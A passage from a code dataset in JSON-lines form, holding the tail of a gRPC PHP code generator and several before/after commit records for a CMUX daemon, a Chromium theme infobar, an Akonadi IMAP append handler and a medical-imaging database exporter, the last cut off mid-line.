ConvertToPhpNamespace(file->package());\n }\n}\n\ngrpc::string MessageIdentifierName(const grpc::string& name,\n const FileDescriptor* file) {\n std::vector<grpc::string> tokens = grpc_generator::tokenize(name, \".\");\n std::ostringstream oss;\n if (PackageName(file) != \"\") {\n oss << PackageName(file) << \"\\\\\";\n }\n oss << grpc_generator::CapitalizeFirstLetter(tokens[tokens.size() - 1]);\n return oss.str();\n}\n\nvoid PrintMethod(const MethodDescriptor* method, Printer* out) {\n const Descriptor* input_type = method->input_type();\n const Descriptor* output_type = method->output_type();\n map<grpc::string, grpc::string> vars;\n vars[\"service_name\"] = method->service()->full_name();\n vars[\"name\"] = method->name();\n vars[\"input_type_id\"] =\n MessageIdentifierName(GeneratedClassName(input_type), input_type->file());\n vars[\"output_type_id\"] = MessageIdentifierName(\n GeneratedClassName(output_type), output_type->file());\n\n out->Print(\"\/**\\n\");\n out->Print(GetPHPComments(method, \" *\").c_str());\n if (method->client_streaming()) {\n out->Print(vars,\n \" * @param array $$metadata metadata\\n\"\n \" * @param array $$options call options\\n *\/\\n\"\n \"public function $name$($$metadata = [], \"\n \"$$options = []) {\\n\");\n out->Indent();\n out->Indent();\n if (method->server_streaming()) {\n out->Print(\"return $$this->_bidiRequest(\");\n } else {\n out->Print(\"return $$this->_clientStreamRequest(\");\n }\n out->Print(vars,\n \"'\/$service_name$\/$name$',\\n\"\n \"['\\\\$output_type_id$','decode'],\\n\"\n \"$$metadata, $$options);\\n\");\n } else {\n out->Print(vars,\n \" * @param \\\\$input_type_id$ $$argument input argument\\n\"\n \" * @param array $$metadata metadata\\n\"\n \" * @param array $$options call options\\n *\/\\n\"\n \"public function $name$(\\\\$input_type_id$ $$argument,\\n\"\n \" $$metadata = [], $$options = []) {\\n\");\n out->Indent();\n out->Indent();\n if (method->server_streaming()) {\n out->Print(\"return $$this->_serverStreamRequest(\");\n } else {\n out->Print(\"return $$this->_simpleRequest(\");\n }\n out->Print(vars,\n \"'\/$service_name$\/$name$',\\n\"\n \"$$argument,\\n\"\n \"['\\\\$output_type_id$', 'decode'],\\n\"\n \"$$metadata, $$options);\\n\");\n }\n out->Outdent();\n out->Outdent();\n out->Print(\"}\\n\\n\");\n}\n\n\/\/ Prints out the service descriptor object\nvoid PrintService(const ServiceDescriptor* service,\n const grpc::string& class_suffix, Printer* out) {\n map<grpc::string, grpc::string> vars;\n out->Print(\"\/**\\n\");\n out->Print(GetPHPComments(service, \" *\").c_str());\n out->Print(\" *\/\\n\");\n vars[\"name\"] = GetPHPServiceClassname(service, class_suffix);\n out->Print(vars, \"class $name$ extends \\\\Grpc\\\\BaseStub {\\n\\n\");\n out->Indent();\n out->Indent();\n out->Print(\n \"\/**\\n * @param string $$hostname hostname\\n\"\n \" * @param array $$opts channel options\\n\"\n \" * @param \\\\Grpc\\\\Channel $$channel (optional) re-use channel \"\n \"object\\n *\/\\n\"\n \"public function __construct($$hostname, $$opts, \"\n \"$$channel = null) {\\n\");\n out->Indent();\n out->Indent();\n out->Print(\"parent::__construct($$hostname, $$opts, $$channel);\\n\");\n out->Outdent();\n out->Outdent();\n out->Print(\"}\\n\\n\");\n for (int i = 0; i < service->method_count(); i++) {\n grpc::string method_name =\n grpc_generator::LowercaseFirstLetter(service->method(i)->name());\n PrintMethod(service->method(i), out);\n }\n out->Outdent();\n out->Outdent();\n out->Print(\"}\\n\");\n}\n} \/\/ namespace\n\ngrpc::string GenerateFile(const FileDescriptor* file,\n const ServiceDescriptor* service,\n const grpc::string& class_suffix) {\n grpc::string output;\n {\n StringOutputStream output_stream(&output);\n Printer out(&output_stream, '$');\n\n out.Print(\"<?php\\n\");\n out.Print(\"\/\/ GENERATED CODE -- DO NOT EDIT!\\n\\n\");\n\n grpc::string leading_comments = GetPHPComments(file, \"\/\/\");\n if (!leading_comments.empty()) {\n out.Print(\"\/\/ Original file comments:\\n\");\n out.PrintRaw(leading_comments.c_str());\n }\n\n map<grpc::string, grpc::string> vars;\n grpc::string php_namespace = PackageName(file);\n vars[\"package\"] = php_namespace;\n out.Print(vars, \"namespace $package$;\\n\\n\");\n\n PrintService(service, class_suffix, &out);\n }\n return output;\n}\n\n} \/\/ namespace grpc_php_generator\n<|endoftext|>"} {"text":"<commit_before>#include <syslog.h>\n\n#include \"EventLoop.h\"\n#include \"ControlServer.h\"\n#include \"CMUXManager.h\"\n\nint main(int argc, char *argv[]) {\n openlog(\"cmuxcontrold\", LOG_PERROR | LOG_PID, LOG_DAEMON);\n\n syslog(LOG_INFO, \"CMUX Control Daemon started\");\n\n EventLoop loop;\n CMUXManager manager(&loop);\n ControlServer control(&loop);\n loop.addWatcher(&control);\n\n return loop.exec();\n}\n<commit_msg>Properly daemonize cmuxcontrold.<commit_after>#include <syslog.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <string.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <sys\/stat.h>\n#include <errno.h>\n\n#include \"EventLoop.h\"\n#include \"ControlServer.h\"\n#include \"CMUXManager.h\"\n\nstatic int parse_opts(int argc, char **argv, int *daemon, char **pidfile) {\n int ch;\n\n *daemon = 0;\n *pidfile = 0;\n\n while((ch = getopt(argc, argv, \"dp:\")) != -1) {\n switch(ch) {\n case 'd':\n *daemon = 1;\n\n break;\n\n case 'p':\n *pidfile = optarg;\n\n break;\n\n case '?':\n case ':':\n return 0;\n }\n }\n\n return 1;\n}\n\nstatic int daemonize(void) {\n pid_t pid = fork();\n if(pid == -1)\n return 0;\n\n if(pid > 0)\n _exit(0);\n\n setsid();\n umask(0);\n chdir(\"\/\");\n int null = open(\"\/dev\/null\", O_RDWR);\n dup2(STDIN_FILENO, null);\n dup2(STDOUT_FILENO, null);\n dup2(STDERR_FILENO, null);\n close(null);\n\n pid = fork();\n if(pid == -1)\n return 0;\n\n if(pid > 0)\n _exit(0);\n\n return 1;\n}\n\nint main(int argc, char *argv[]) {\n int daemon;\n char *pidfile;\n if(!parse_opts(argc, argv, &daemon, &pidfile))\n return 1;\n\n if(daemon) {\n if(!daemonize())\n return 1;\n\n openlog(\"cmuxcontrold\", LOG_PID, LOG_DAEMON);\n\n } else {\n openlog(\"cmuxcontrold\", LOG_PERROR | LOG_PID, LOG_DAEMON);\n }\n\n if(pidfile) {\n FILE *file = fopen(pidfile, \"w\");\n if(file == NULL) {\n syslog(LOG_CRIT, \"unable to create pidfile: %s\", strerror(errno));\n\n return 1;\n }\n\n fprintf(file, \"%d\\n\", getpid());\n fclose(file);\n }\n\n syslog(LOG_INFO, \"CMUX Control Daemon started\");\n\n EventLoop loop;\n CMUXManager manager(&loop);\n ControlServer control(&loop);\n loop.addWatcher(&control);\n\n return loop.exec();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/theme_preview_infobar_delegate.h\"\n\n#include \"app\/l10n_util.h\"\n#include \"app\/resource_bundle.h\"\n#include \"base\/string_util.h\"\n#include \"chrome\/browser\/extensions\/extensions_service.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/theme_resources.h\"\n\nThemePreviewInfobarDelegate::ThemePreviewInfobarDelegate(\n TabContents* tab_contents, const std::string& name,\n const std::string& previous_theme_id)\n : ConfirmInfoBarDelegate(tab_contents),\n profile_(tab_contents->profile()), name_(name),\n previous_theme_id_(previous_theme_id) {\n}\n\nvoid ThemePreviewInfobarDelegate::InfoBarClosed() {\n delete this;\n}\n\nstd::wstring ThemePreviewInfobarDelegate::GetMessageText() const {\n return l10n_util::GetStringF(IDS_THEME_INSTALL_INFOBAR_LABEL,\n UTF8ToWide(name_));\n}\n\nSkBitmap* ThemePreviewInfobarDelegate::GetIcon() const {\n \/\/ TODO(aa): Reply with the theme's icon, but this requires reading it\n \/\/ asynchronously from disk.\n return ResourceBundle::GetSharedInstance().GetBitmapNamed(\n IDR_INFOBAR_THEME);\n}\n\nThemePreviewInfobarDelegate*\n ThemePreviewInfobarDelegate::AsThemePreviewInfobarDelegate() {\n return this;\n}\n\nint ThemePreviewInfobarDelegate::GetButtons() const {\n return BUTTON_CANCEL;\n}\n\nstd::wstring ThemePreviewInfobarDelegate::GetButtonLabel(\n ConfirmInfoBarDelegate::InfoBarButton button) const {\n switch (button) {\n case BUTTON_CANCEL: {\n \/\/ TODO(aa): Reusing IDS_UNDO is hack to get around string freeze. This\n \/\/ should be changed back to IDS_THEME_INSTALL_INFOBAR_UNDO_BUTTON at some\n \/\/ point.\n std::wstring undo_text = l10n_util::GetString(IDS_UNDO);\n undo_text.erase(std::remove(undo_text.begin(), undo_text.end(), L'&'),\n undo_text.end());\n return undo_text;\n }\n default:\n return L\"\";\n }\n}\n\nbool ThemePreviewInfobarDelegate::Cancel() {\n if (!previous_theme_id_.empty()) {\n ExtensionsService* service = profile_->GetExtensionsService();\n if (service) {\n Extension* previous_theme = service->GetExtensionById(previous_theme_id_);\n if (previous_theme) {\n profile_->SetTheme(previous_theme);\n return true;\n }\n }\n }\n\n profile_->ClearTheme();\n return true;\n}\n<commit_msg>Use IDS_THEME_INSTALL_INFOBAR_UNDO_BUTTON instead of IDS_UNDO since 3.0 shipped.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/theme_preview_infobar_delegate.h\"\n\n#include \"app\/l10n_util.h\"\n#include \"app\/resource_bundle.h\"\n#include \"base\/string_util.h\"\n#include \"chrome\/browser\/extensions\/extensions_service.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/theme_resources.h\"\n\nThemePreviewInfobarDelegate::ThemePreviewInfobarDelegate(\n TabContents* tab_contents, const std::string& name,\n const std::string& previous_theme_id)\n : ConfirmInfoBarDelegate(tab_contents),\n profile_(tab_contents->profile()), name_(name),\n previous_theme_id_(previous_theme_id) {\n}\n\nvoid ThemePreviewInfobarDelegate::InfoBarClosed() {\n delete this;\n}\n\nstd::wstring ThemePreviewInfobarDelegate::GetMessageText() const {\n return l10n_util::GetStringF(IDS_THEME_INSTALL_INFOBAR_LABEL,\n UTF8ToWide(name_));\n}\n\nSkBitmap* ThemePreviewInfobarDelegate::GetIcon() const {\n \/\/ TODO(aa): Reply with the theme's icon, but this requires reading it\n \/\/ asynchronously from disk.\n return ResourceBundle::GetSharedInstance().GetBitmapNamed(\n IDR_INFOBAR_THEME);\n}\n\nThemePreviewInfobarDelegate*\n ThemePreviewInfobarDelegate::AsThemePreviewInfobarDelegate() {\n return this;\n}\n\nint ThemePreviewInfobarDelegate::GetButtons() const {\n return BUTTON_CANCEL;\n}\n\nstd::wstring ThemePreviewInfobarDelegate::GetButtonLabel(\n ConfirmInfoBarDelegate::InfoBarButton button) const {\n switch (button) {\n case BUTTON_CANCEL: {\n return l10n_util::GetString(IDS_THEME_INSTALL_INFOBAR_UNDO_BUTTON);\n }\n default:\n return L\"\";\n }\n}\n\nbool ThemePreviewInfobarDelegate::Cancel() {\n if (!previous_theme_id_.empty()) {\n ExtensionsService* service = profile_->GetExtensionsService();\n if (service) {\n Extension* previous_theme = service->GetExtensionById(previous_theme_id_);\n if (previous_theme) {\n profile_->SetTheme(previous_theme);\n return true;\n }\n }\n }\n\n profile_->ClearTheme();\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************************\n * Copyright (C) 2006 by Till Adam <adam@kde.org> *\n * *\n * This program is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU Library General Public License as *\n * published by the Free Software Foundation; either version 2 of the *\n * License, or (at your option) any later version. *\n * *\n * This program is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\n * GNU General Public License for more details. *\n * *\n * You should have received a copy of the GNU Library General Public *\n * License along with this program; if not, write to the *\n * Free Software Foundation, Inc., *\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. *\n ***************************************************************************\/\n#include <QDebug>\n\n#include \"akonadi.h\"\n#include \"akonadiconnection.h\"\n#include \"storagebackend.h\"\n#include \"storage\/datastore.h\"\n#include \"storage\/entity.h\"\n\n#include \"append.h\"\n#include \"response.h\"\n\nusing namespace Akonadi;\n\nAppend::Append()\n : Handler(), m_size(-1)\n{\n}\n\n\nAppend::~Append()\n{\n}\n\n\nstatic QDateTime parseDateTime( const QByteArray & s )\n{\n \/\/ Syntax:\n \/\/ date-time = DQUOTE date-day-fixed \"-\" date-month \"-\" date-year\n \/\/ SP time SP zone DQUOTE\n \/\/ date-day-fixed = (SP DIGIT) \/ 2DIGIT\n \/\/ ; Fixed-format version of date-day\n \/\/ date-month = \"Jan\" \/ \"Feb\" \/ \"Mar\" \/ \"Apr\" \/ \"May\" \/ \"Jun\" \/\n \/\/ \"Jul\" \/ \"Aug\" \/ \"Sep\" \/ \"Oct\" \/ \"Nov\" \/ \"Dec\"\n \/\/ date-year = 4DIGIT\n \/\/ time = 2DIGIT \":\" 2DIGIT \":\" 2DIGIT\n \/\/ ; Hours minutes seconds\n \/\/ zone = (\"+\" \/ \"-\") 4DIGIT\n \/\/ ; Signed four-digit value of hhmm representing\n \/\/ ; hours and minutes east of Greenwich (that is,\n \/\/ ; the amount that the given time differs from\n \/\/ ; Universal Time). Subtracting the timezone\n \/\/ ; from the given time will give the UT form.\n \/\/ ; The Universal Time zone is \"+0000\".\n \/\/ Example : \"28-May-2006 01:03:35 +0200\"\n \/\/ Position: 0123456789012345678901234567\n \/\/ 1 2\n QDateTime dateTime;\n bool ok = true;\n const int day = ( s[1] == ' ' ? s[2] - '0' \/\/ single digit day\n : s.mid( 1, 2 ).toInt( &ok ) );\n if ( !ok ) return dateTime;\n const QByteArray shortMonthNames( \"janfebmaraprmayjunjulaugsepoctnovdec\" );\n int month = shortMonthNames.indexOf( s.mid( 4, 3 ).toLower() );\n if ( month == -1 ) return dateTime;\n month = month \/ 3 + 1;\n const int year = s.mid( 8, 4 ).toInt( &ok );\n if ( !ok ) return dateTime;\n const int hours = s.mid( 13, 2 ).toInt( &ok );\n if ( !ok ) return dateTime;\n const int minutes = s.mid( 16, 2 ).toInt( &ok );\n if ( !ok ) return dateTime;\n const int seconds = s.mid( 19, 2 ).toInt( &ok );\n if ( !ok ) return dateTime;\n const int tzhh = s.mid( 23, 2 ).toInt( &ok );\n if ( !ok ) return dateTime;\n const int tzmm = s.mid( 25, 2 ).toInt( &ok );\n if ( !ok ) return dateTime;\n int tzsecs = tzhh*60*60 + tzmm*60;\n if ( s[22] == '-' ) tzsecs = -tzsecs;\n const QDate date( year, month, day );\n const QTime time( hours, minutes, seconds );\n dateTime = QDateTime( date, time, Qt::UTC );\n if ( !dateTime.isValid() ) return dateTime;\n dateTime.addSecs( -tzsecs );\n return dateTime;\n}\n\n\nbool Akonadi::Append::handleContinuation( const QByteArray& line )\n{\n m_data += line;\n m_size -= line.size();\n if ( !allDataRead() )\n return false;\n commit();\n deleteLater();\n return true;\n}\n\nbool Akonadi::Append::handleLine(const QByteArray& line )\n{\n if ( inContinuation() )\n return handleContinuation( line );\n\n \/\/ Arguments: mailbox name\n \/\/ OPTIONAL flag parenthesized list\n \/\/ OPTIONAL date\/time string\n \/\/ message literal\n \/\/\n \/\/ Syntax:\n \/\/ append = \"APPEND\" SP mailbox [SP flag-list] [SP date-time] SP literal\n\n const int startOfCommand = line.indexOf( ' ' ) + 1;\n const int startOfMailbox = line.indexOf( ' ', startOfCommand ) + 1;\n const int startOfFlags = line.indexOf( ' ', startOfMailbox ) + 1;\n m_mailbox = stripQuotes( line.mid( startOfMailbox, startOfFlags - startOfMailbox -1 ) );\n\n \/\/ parse optional flag parenthesized list\n \/\/ Syntax:\n \/\/ flag-list = \"(\" [flag *(SP flag)] \")\"\n \/\/ flag = \"\\Answered\" \/ \"\\Flagged\" \/ \"\\Deleted\" \/ \"\\Seen\" \/\n \/\/ \"\\Draft\" \/ flag-keyword \/ flag-extension\n \/\/ ; Does not include \"\\Recent\"\n \/\/ flag-extension = \"\\\" atom\n \/\/ flag-keyword = atom\n int startOfDateTime = startOfFlags;\n if ( line[startOfFlags] == '(' ) {\n startOfDateTime = line.indexOf( ')', startOfFlags + 1 ) + 2;\n m_flags = line.mid( startOfFlags + 1,\n startOfDateTime - ( startOfFlags + 1 ) - 2 ).split(' ');\n }\n m_flags.append( \"\\\\Recent\" ); \/\/ the Recent flag always has to be set\n\n \/\/ parse optional date\/time string\n int startOfLiteral = startOfDateTime;\n if ( line[startOfDateTime] == '\"' ) {\n startOfLiteral = line.indexOf( '{', startOfDateTime + 1 );\n m_dateTime = parseDateTime( line.mid( startOfDateTime, startOfLiteral - startOfDateTime - 1 ) );\n \/\/ FIXME Should we return an error if m_dateTime is invalid?\n }\n \/\/ if date\/time is not given then it will be set to the current date\/time\n \/\/ by the database\n\n \/\/ finally parse the message literal\n const int startOfSize = startOfLiteral + 1;\n m_size = line.mid( startOfSize, line.indexOf('}') - startOfSize ).toInt();\n\n if ( !allDataRead() )\n return startContinuation();\n\n \/\/ otherwise it's a 0-size put, so we're done\n commit();\n deleteLater();\n return true;\n}\n\nvoid Akonadi::Append::commit()\n{\n Response response;\n\n DataStore *db = connection()->storageBackend();\n Location l = db->locationByRawMailbox( m_mailbox );\n MimeType mimeType(0, \"message\/rfc822\" );\n int itemId = 0;\n bool ok = db->appendPimItem( m_data, mimeType, l, m_dateTime, &itemId );\n response.setTag( tag() );\n if ( !ok ) {\n response.setTag( tag() );\n response.setFailure();\n response.setString( \"Append failed\" );\n emit responseAvailable( response );\n return;\n }\n\n \/\/ set message flags\n ok = db->appendItemFlags( itemId, m_flags );\n \/\/ TODO handle failure\n\n \/\/ the message was appended; now we have to update the counts\n const int existsChange = +1;\n const int recentChange = +1;\n int unseenChange = 0;\n if ( !m_flags.contains( \"\\\\Seen\" ) )\n unseenChange = +1;\n \/\/ int firstUnseen = ?; \/\/ can't be updated atomically, so we probably have to\n \/\/ recalculate it each time it's needed\n ok = db->updateLocationCounts( l, existsChange, recentChange, unseenChange );\n \/\/ TODO handle failure by removing the message again from the db\n\n \/\/ TODO if the mailbox is currently selected, the normal new message\n \/\/ actions SHOULD occur. Specifically, the server SHOULD notify the\n \/\/ client immediately via an untagged EXISTS response.\n\n response.setTag( tag() );\n response.setSuccess();\n response.setString( \"Append completed\" );\n emit responseAvailable( response );\n}\n\nbool Akonadi::Append::inContinuation( ) const\n{\n return m_size > -1;\n}\n\nbool Akonadi::Append::allDataRead( ) const\n{\n m_size == 0;\n}\n\nbool Akonadi::Append::startContinuation()\n{\n Response response;\n response.setContinuation();\n response.setString( \"Ready for literal data\" );\n emit responseAvailable( response );\n return false;\n}\n<commit_msg>I guess that's what was meant.<commit_after>\/***************************************************************************\n * Copyright (C) 2006 by Till Adam <adam@kde.org> *\n * *\n * This program is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU Library General Public License as *\n * published by the Free Software Foundation; either version 2 of the *\n * License, or (at your option) any later version. *\n * *\n * This program is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\n * GNU General Public License for more details. *\n * *\n * You should have received a copy of the GNU Library General Public *\n * License along with this program; if not, write to the *\n * Free Software Foundation, Inc., *\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. *\n ***************************************************************************\/\n#include <QDebug>\n\n#include \"akonadi.h\"\n#include \"akonadiconnection.h\"\n#include \"storagebackend.h\"\n#include \"storage\/datastore.h\"\n#include \"storage\/entity.h\"\n\n#include \"append.h\"\n#include \"response.h\"\n\nusing namespace Akonadi;\n\nAppend::Append()\n : Handler(), m_size(-1)\n{\n}\n\n\nAppend::~Append()\n{\n}\n\n\nstatic QDateTime parseDateTime( const QByteArray & s )\n{\n \/\/ Syntax:\n \/\/ date-time = DQUOTE date-day-fixed \"-\" date-month \"-\" date-year\n \/\/ SP time SP zone DQUOTE\n \/\/ date-day-fixed = (SP DIGIT) \/ 2DIGIT\n \/\/ ; Fixed-format version of date-day\n \/\/ date-month = \"Jan\" \/ \"Feb\" \/ \"Mar\" \/ \"Apr\" \/ \"May\" \/ \"Jun\" \/\n \/\/ \"Jul\" \/ \"Aug\" \/ \"Sep\" \/ \"Oct\" \/ \"Nov\" \/ \"Dec\"\n \/\/ date-year = 4DIGIT\n \/\/ time = 2DIGIT \":\" 2DIGIT \":\" 2DIGIT\n \/\/ ; Hours minutes seconds\n \/\/ zone = (\"+\" \/ \"-\") 4DIGIT\n \/\/ ; Signed four-digit value of hhmm representing\n \/\/ ; hours and minutes east of Greenwich (that is,\n \/\/ ; the amount that the given time differs from\n \/\/ ; Universal Time). Subtracting the timezone\n \/\/ ; from the given time will give the UT form.\n \/\/ ; The Universal Time zone is \"+0000\".\n \/\/ Example : \"28-May-2006 01:03:35 +0200\"\n \/\/ Position: 0123456789012345678901234567\n \/\/ 1 2\n QDateTime dateTime;\n bool ok = true;\n const int day = ( s[1] == ' ' ? s[2] - '0' \/\/ single digit day\n : s.mid( 1, 2 ).toInt( &ok ) );\n if ( !ok ) return dateTime;\n const QByteArray shortMonthNames( \"janfebmaraprmayjunjulaugsepoctnovdec\" );\n int month = shortMonthNames.indexOf( s.mid( 4, 3 ).toLower() );\n if ( month == -1 ) return dateTime;\n month = month \/ 3 + 1;\n const int year = s.mid( 8, 4 ).toInt( &ok );\n if ( !ok ) return dateTime;\n const int hours = s.mid( 13, 2 ).toInt( &ok );\n if ( !ok ) return dateTime;\n const int minutes = s.mid( 16, 2 ).toInt( &ok );\n if ( !ok ) return dateTime;\n const int seconds = s.mid( 19, 2 ).toInt( &ok );\n if ( !ok ) return dateTime;\n const int tzhh = s.mid( 23, 2 ).toInt( &ok );\n if ( !ok ) return dateTime;\n const int tzmm = s.mid( 25, 2 ).toInt( &ok );\n if ( !ok ) return dateTime;\n int tzsecs = tzhh*60*60 + tzmm*60;\n if ( s[22] == '-' ) tzsecs = -tzsecs;\n const QDate date( year, month, day );\n const QTime time( hours, minutes, seconds );\n dateTime = QDateTime( date, time, Qt::UTC );\n if ( !dateTime.isValid() ) return dateTime;\n dateTime.addSecs( -tzsecs );\n return dateTime;\n}\n\n\nbool Akonadi::Append::handleContinuation( const QByteArray& line )\n{\n m_data += line;\n m_size -= line.size();\n if ( !allDataRead() )\n return false;\n commit();\n deleteLater();\n return true;\n}\n\nbool Akonadi::Append::handleLine(const QByteArray& line )\n{\n if ( inContinuation() )\n return handleContinuation( line );\n\n \/\/ Arguments: mailbox name\n \/\/ OPTIONAL flag parenthesized list\n \/\/ OPTIONAL date\/time string\n \/\/ message literal\n \/\/\n \/\/ Syntax:\n \/\/ append = \"APPEND\" SP mailbox [SP flag-list] [SP date-time] SP literal\n\n const int startOfCommand = line.indexOf( ' ' ) + 1;\n const int startOfMailbox = line.indexOf( ' ', startOfCommand ) + 1;\n const int startOfFlags = line.indexOf( ' ', startOfMailbox ) + 1;\n m_mailbox = stripQuotes( line.mid( startOfMailbox, startOfFlags - startOfMailbox -1 ) );\n\n \/\/ parse optional flag parenthesized list\n \/\/ Syntax:\n \/\/ flag-list = \"(\" [flag *(SP flag)] \")\"\n \/\/ flag = \"\\Answered\" \/ \"\\Flagged\" \/ \"\\Deleted\" \/ \"\\Seen\" \/\n \/\/ \"\\Draft\" \/ flag-keyword \/ flag-extension\n \/\/ ; Does not include \"\\Recent\"\n \/\/ flag-extension = \"\\\" atom\n \/\/ flag-keyword = atom\n int startOfDateTime = startOfFlags;\n if ( line[startOfFlags] == '(' ) {\n startOfDateTime = line.indexOf( ')', startOfFlags + 1 ) + 2;\n m_flags = line.mid( startOfFlags + 1,\n startOfDateTime - ( startOfFlags + 1 ) - 2 ).split(' ');\n }\n m_flags.append( \"\\\\Recent\" ); \/\/ the Recent flag always has to be set\n\n \/\/ parse optional date\/time string\n int startOfLiteral = startOfDateTime;\n if ( line[startOfDateTime] == '\"' ) {\n startOfLiteral = line.indexOf( '{', startOfDateTime + 1 );\n m_dateTime = parseDateTime( line.mid( startOfDateTime, startOfLiteral - startOfDateTime - 1 ) );\n \/\/ FIXME Should we return an error if m_dateTime is invalid?\n }\n \/\/ if date\/time is not given then it will be set to the current date\/time\n \/\/ by the database\n\n \/\/ finally parse the message literal\n const int startOfSize = startOfLiteral + 1;\n m_size = line.mid( startOfSize, line.indexOf('}') - startOfSize ).toInt();\n\n if ( !allDataRead() )\n return startContinuation();\n\n \/\/ otherwise it's a 0-size put, so we're done\n commit();\n deleteLater();\n return true;\n}\n\nvoid Akonadi::Append::commit()\n{\n Response response;\n\n DataStore *db = connection()->storageBackend();\n Location l = db->locationByRawMailbox( m_mailbox );\n MimeType mimeType(0, \"message\/rfc822\" );\n int itemId = 0;\n bool ok = db->appendPimItem( m_data, mimeType, l, m_dateTime, &itemId );\n response.setTag( tag() );\n if ( !ok ) {\n response.setTag( tag() );\n response.setFailure();\n response.setString( \"Append failed\" );\n emit responseAvailable( response );\n return;\n }\n\n \/\/ set message flags\n ok = db->appendItemFlags( itemId, m_flags );\n \/\/ TODO handle failure\n\n \/\/ the message was appended; now we have to update the counts\n const int existsChange = +1;\n const int recentChange = +1;\n int unseenChange = 0;\n if ( !m_flags.contains( \"\\\\Seen\" ) )\n unseenChange = +1;\n \/\/ int firstUnseen = ?; \/\/ can't be updated atomically, so we probably have to\n \/\/ recalculate it each time it's needed\n ok = db->updateLocationCounts( l, existsChange, recentChange, unseenChange );\n \/\/ TODO handle failure by removing the message again from the db\n\n \/\/ TODO if the mailbox is currently selected, the normal new message\n \/\/ actions SHOULD occur. Specifically, the server SHOULD notify the\n \/\/ client immediately via an untagged EXISTS response.\n\n response.setTag( tag() );\n response.setSuccess();\n response.setString( \"Append completed\" );\n emit responseAvailable( response );\n}\n\nbool Akonadi::Append::inContinuation( ) const\n{\n return m_size > -1;\n}\n\nbool Akonadi::Append::allDataRead( ) const\n{\n return ( m_size == 0 );\n}\n\nbool Akonadi::Append::startContinuation()\n{\n Response response;\n response.setContinuation();\n response.setString( \"Ready for literal data\" );\n emit responseAvailable( response );\n return false;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* medDatabaseExporter.cpp --- \n * \n * Author: Julien Wintz\n * Copyright (C) 2008 - Julien Wintz, Inria.\n * Created: Tue Jan 19 13:42:53 2010 (+0100)\n * Version: $Id$\n * Last-Updated: Thu Feb 4 11:36:11 2010 (+0100)\n * By: Julien Wintz\n * Update #: 3\n *\/\n\n\/* Commentary: \n * \n *\/\n\n\/* Change log:\n * \n *\/\n\n#include \"medDatabaseExporter.h\"\n\n#include <dtkCore\/dtkAbstractData.h>\n#include <dtkCore\/dtkAbstractDataWriter.h>\n#include <dtkCore\/dtkAbstractDataFactory.h>\n\nclass medDatabaseExporterPrivate\n{\npublic:\n dtkAbstractData *data;\n QString filename;\n};\n\nmedDatabaseExporter::medDatabaseExporter(dtkAbstractData *data, const QString &filename) : medJobItem(), d(new medDatabaseExporterPrivate)\n{\n d->data = data;\n d->filename = filename;\n}\n\nmedDatabaseExporter::~medDatabaseExporter(void)\n{\n delete d;\n\n d = NULL;\n}\n\nvoid medDatabaseExporter::run(void)\n{\n if (!d->data) {\n emit showError(this, \"Cannot export data\", 3000);\n return;\n }\n\n if (d->filename.isEmpty()) {\n emit showError(this, \"File name is empty\", 3000);\n return;\n }\n\n QList<QString> writers = dtkAbstractDataFactory::instance()->writers();\n\n for (int i=0; i<writers.size(); i++)\n {\n dtkAbstractDataWriter *dataWriter = dtkAbstractDataFactory::instance()->writer(writers[i]);\n\n if (! dataWriter->handled().contains(d->data->identifier()))\n continue;\n\n dataWriter->setData (d->data);\n\n if (dataWriter->canWrite( d->filename )) {\n if (dataWriter->write( d->filename )) {\n dataWriter->deleteLater();\n break;\n }\n }\n }\n}\n<commit_msg>Smart pointing what should be smart pointed<commit_after>\/* medDatabaseExporter.cpp --- \n * \n * Author: Julien Wintz\n * Copyright (C) 2008 - Julien Wintz, Inria.\n * Created: Tue Jan 19 13:42:53 2010 (+0100)\n * Version: $Id$\n * Last-Updated: Thu Feb 4 11:36:11 2010 (+0100)\n * By: Julien Wintz\n * Update #: 3\n *\/\n\n\/* Commentary: \n * \n *\/\n\n\/* Change log:\n * \n *\/\n\n#include \"medDatabaseExporter.h\"\n\n#include <dtkCore\/dtkAbstractData.h>\n#include <dtkCore\/dtkAbstractDataWriter.h>\n#include <dtkCore\/dtkAbstractDataFactory.h>\n#include <dtkCore\/dtkSmartPointer.h>\n\nclass medDatabaseExporterPrivate\n{\npublic:\n dtkSmartPointer<dtkAbstractData> data;\n QString filename;\n};\n\nmedDatabaseExporter::medDatabaseExporter(dtkAbstractData *data, const QString &filename) : medJobItem(), d(new medDatabaseExporterPrivate)\n{\n d->data = data;\n d->filename = filename;\n}\n\nmedDatabaseExporter::~medDatabaseExporter(void)\n{\n delete d;\n\n d = NULL;\n}\n\nvoid medDatabaseExporter::run(void)\n{\n if (d->data.isNull()) {\n emit showError(this, \"Cannot export data\", 3000);\n return;\n }\n\n if (d->filename.isEmpty()) {\n emit showError(this, \"File name is empty\", 3000);\n return;\n }\n\n QList<QString> writers = dtkAbstractDataFactory::instance()->writers();\n bool written = false;\n for (int 